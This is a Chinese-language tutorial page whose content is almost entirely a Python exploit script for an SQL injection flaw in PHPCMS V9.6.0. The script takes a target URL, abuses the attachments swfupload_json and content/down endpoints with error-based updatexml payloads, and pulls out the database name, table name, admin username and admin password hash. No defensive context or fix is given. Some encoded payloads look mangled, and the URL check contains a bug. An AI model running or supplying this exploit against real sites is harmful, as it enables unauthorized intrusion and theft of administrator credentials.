您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程

PHPCMS V9.6.0 SQL注入漏洞EXP使用方法

于泰哲2025-05-22 11:57:48phpcms教程已有3人查阅

导读运行于python3.5import requestsimport timeimport reimport sysdef banner():

运行于python3.5
import requests
import time
import re
import sys
def banner():
msg = '''--------------EXP IS PHPCMS V9.6.0---------------'''
print(msg)
def get_encrypt_value(payload,url):
url_com = url + payload
url_1 = "{}/index.php?m=wap&a=index&siteid=1".format(url)
cookies = requests.get(url_1).cookies
for c in cookies:
if c.name[-7:]=='_siteid':
cookie_head=c.name[:6]
cookies[cookie_head + '_userid']=c.value
cookies[c.name]=c.value
break
encrypt_cookie = requests.get(url_com,cookies=cookies).cookies
for c in encrypt_cookie:
if c.name[-9:] == '_att_json':
encrypt_data = c.value
break
return get_data(url,encrypt_data)
def get_data(url,data):
url = "{}/index.php?m=content&c=down&a_k={}".format(url,data)
rsp = requests.get(url)
cc = re.findall(r"XPATH syntax error: '~(.*?)~' <br />",rsp.text)
return cc
def get_payload(url):
data = []
try:
payload_db_name = {"db_name":"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20database%28%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1"}
db_name = get_encrypt_value(payload_db_name.get('db_name'),url)
db_name = db_name[0]
data.append(db_name)
except:
str = "***"
data.append(str)
try:
payload_table_name = {"table_name":"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20table_name%*20from%*20information_schema.tables%*20where%*20table_schema%3D%*27"+db_name+"%*27%*20limit%*200%2C1%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1"}
table_name = get_encrypt_value(payload_table_name.get('table_name'),url)
table_name = table_name[0]
data.append(table_name)
except:
str = "***"
data.append(str)
try:
payload_admin_name = {"admin_name":"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20mid%28%28SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200%2C1%29%2C1%2C16%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1"}
admin_name = get_encrypt_value(payload_admin_name.get('admin_name'),url)
admin_name = admin_name[0]
data.append(admin_name)
except:
str = "***"
data.append(str)
try:
payload_pass_s16 = {"pass_s16":"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20mid%28%28SELECT%*20password%*20from%*20"+table_name+"%*20limit%*200%2C1%29%2C1%2C16%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1"}
pass_s16 = get_encrypt_value(payload_pass_s16.get('pass_s16'),url)
pass_s16 = pass_s16[0]
except:
pass
try:
payload_pass_x16 = {"pass_x16":"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20mid%28%28SELECT%*20password%*20from%*20"+table_name+"%*20limit%*200%2C1%29%2C16%2C20%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1"}
pass_x16 = get_encrypt_value(payload_pass_x16.get('pass_x16'),url)
pass_x16 = pass_x16[0]
password = pass_s16 + pass_x16
data.append(password)
except:
str = "***"
data.append(str)
output_data(data)
def output_data(data):
output = '''
database name is : {0}
table name is : {1}
admin username is : {2}
admin password is : {3}
'''.format(data[0],data[1],data[2],data[3])
print(output)
def get_url():
url = input("Please input url:")
if ("http://"in url) or ("https://" is url):
return url
else:
print("Warning: Please input http:// or https:// ! try again !")
def main():
banner()
url = get_url()
print("[*] target:{}".format(url))
get_payload(url)
print("[*] shutting down at {0}".format(time.strftime("%X")))
if __name__ == '__main__':
main()

本文标签:

很赞哦! (0)

暂无内容
暂无内容
暂无内容
暂无内容
留言与评论 (共有 0 条评论)
昵称:
匿名发表 登录账号
         
验证码: